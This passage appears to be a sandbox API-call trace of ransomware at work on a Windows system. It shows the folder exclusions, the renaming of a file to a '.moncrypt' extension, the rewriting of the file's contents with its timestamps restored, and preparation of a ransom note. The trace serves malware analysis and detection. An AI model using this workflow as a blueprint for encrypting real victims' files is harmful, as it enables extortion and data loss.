(in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0051.541] GetLastError () returned 0x2 [0051.541] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0051.542] GetLastError () returned 0x2 [0051.542] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0051.542] GetLastError () returned 0x2 [0051.542] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.543] GetLastError () returned 0x2 [0051.543] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0051.543] GetLastError () returned 0x2 [0051.544] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.544] GlobalLock (hMem=0x440004) returned 0x550170 [0051.544] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.544] GlobalUnlock (hMem=0x440004) returned 0 [0051.544] GlobalLock (hMem=0x440004) returned 0x550170 [0051.544] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.544] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.544] GlobalUnlock (hMem=0x440004) returned 0 [0051.544] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.544] GlobalUnlock (hMem=0x44000c) returned 0 [0051.544] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.544] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.544] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.544] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.545] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.545] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.545] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.545] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.545] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.545] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.545] GlobalUnlock (hMem=0x44000c) returned 0 [0051.545] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.545] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.545] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.545] GlobalUnlock (hMem=0x44000c) returned 0 [0051.545] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.545] GlobalUnlock (hMem=0x440004) returned 0 [0051.546] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.546] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.546] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.546] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.546] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.547] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.547] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.547] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.547] GlobalLock (hMem=0x440004) returned 0x550170 [0051.547] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.547] GlobalUnlock (hMem=0x440004) returned 0 [0051.547] GlobalLock (hMem=0x440004) returned 0x550170 [0051.547] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.547] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.547] GlobalUnlock (hMem=0x440004) returned 0 [0051.547] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.547] GlobalUnlock (hMem=0x44000c) returned 0 [0051.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.548] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.548] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0051.548] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.548] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.548] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.548] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.548] GlobalUnlock (hMem=0x44000c) returned 0 [0051.548] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.548] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.548] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.548] GlobalUnlock (hMem=0x44000c) returned 0 [0051.548] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.548] GlobalUnlock (hMem=0x440004) returned 0 [0051.548] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.549] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.549] CloseHandle (hObject=0x18c) returned 1 [0051.550] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\я")) returned 1 [0051.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 0x54e240 [0051.551] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.551] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.551] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", dwFileAttributes=0x20) returned 1 [0051.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.moncrypt")) returned 1 [0051.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.552] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.552] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xb8f8 [0051.552] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.552] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.554] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.554] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.554] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.555] GlobalUnlock (hMem=0x44000c) returned 0 [0051.555] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.555] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.555] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.555] GlobalUnlock (hMem=0x44000c) returned 0 [0051.555] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.555] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.555] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.555] GlobalUnlock (hMem=0x440004) returned 0 [0051.555] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.555] GlobalUnlock (hMem=0x44000c) returned 0 [0051.555] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.555] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.555] GlobalUnlock (hMem=0x44000c) returned 0 [0051.555] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.555] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.555] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.555] GlobalUnlock (hMem=0x44000c) returned 0 [0051.556] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.556] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.556] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.556] SetFilePointer (in: hFile=0x18c, lDistanceToMove=47352, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xb8f8 [0051.556] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.556] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.556] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.567] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.567] CloseHandle (hObject=0x18c) returned 1 [0051.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.569] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.569] CloseHandle (hObject=0x18c) returned 1 [0051.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.569] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.569] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.569] GlobalUnlock (hMem=0x44000c) returned 0 [0051.569] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.569] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.569] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.569] GlobalUnlock (hMem=0x44000c) returned 0 [0051.570] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.570] GlobalUnlock (hMem=0x440004) returned 0 [0051.570] CompareStringA 